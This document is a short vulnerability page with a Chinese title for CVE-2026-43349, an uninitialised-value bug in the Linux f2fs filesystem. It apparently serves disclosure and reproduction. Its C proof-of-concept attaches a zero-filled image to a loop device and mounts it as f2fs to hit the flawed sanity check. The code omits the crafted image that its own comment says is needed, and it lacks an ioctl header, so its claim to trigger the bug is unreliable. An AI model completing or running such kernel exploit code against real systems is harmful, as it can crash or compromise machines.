CVE-2026-43349 Linux内核f2fs模块未初始化内存访问漏洞

/* * PoC for CVE-2026-43349: f2fs uninit-value access * This code simulates the conditions to trigger the vulnerability. * Requires local access and ability to mount f2fs filesystems. */ #include <stdio.h> #include <stdlib.h> #include <sys/mount.h> #include <sys/stat.h> #include <unistd.h> #include <fcntl.h> #include <linux/loop.h> int main() { const char* loop_device = "/dev/loop0"; const char* mount_point = "/mnt/f2fs_test"; const char* image_file = "crafted_f2fs.img"; int fd, loop_fd; // Setup: Create a dummy image file (In real scenario, this would be a crafted corrupted f2fs image) fd = open(image_file, O_RDWR | O_CREAT, 0644); if (fd < 0) { perror("Failed to create image"); return 1; } ftruncate(fd, 100 * 1024 * 1024); // 100MB close(fd); // Attach loop device loop_fd = open("/dev/loop-control", O_RDWR); ioctl(loop_fd, LOOP_CTL_ADD, 0); // Assuming loop0 is free close(loop_fd); loop_fd = open(loop_device, O_RDWR); fd = open(image_file, O_RDWR); if (ioctl(loop_fd, LOOP_SET_FD, fd) < 0) { perror("ioctl LOOP_SET_FD"); return 1; } close(fd); close(loop_fd); mkdir(mount_point, 0777); // Trigger: Attempt to mount the crafted image // If the image causes I/O read failure or has uninitialized footer, // the kernel path f2fs_sanity_check_node_footer will be hit. printf("[+] Attempting to mount crafted f2fs image to trigger bug...\n"); if (mount(loop_device, mount_point, "f2fs", 0, "") == 0) { printf("[+] Mount succeeded. If kernel is vulnerable, check dmesg for KMSAN warnings.\n"); umount(mount_point); } else { perror("[-] Mount failed (might be expected or image invalid)"); } // Cleanup loop_fd = open(loop_device, O_RDWR); ioctl(loop_fd, LOOP_CLR_FD, 0); close(loop_fd); unlink(image_file); return 0; }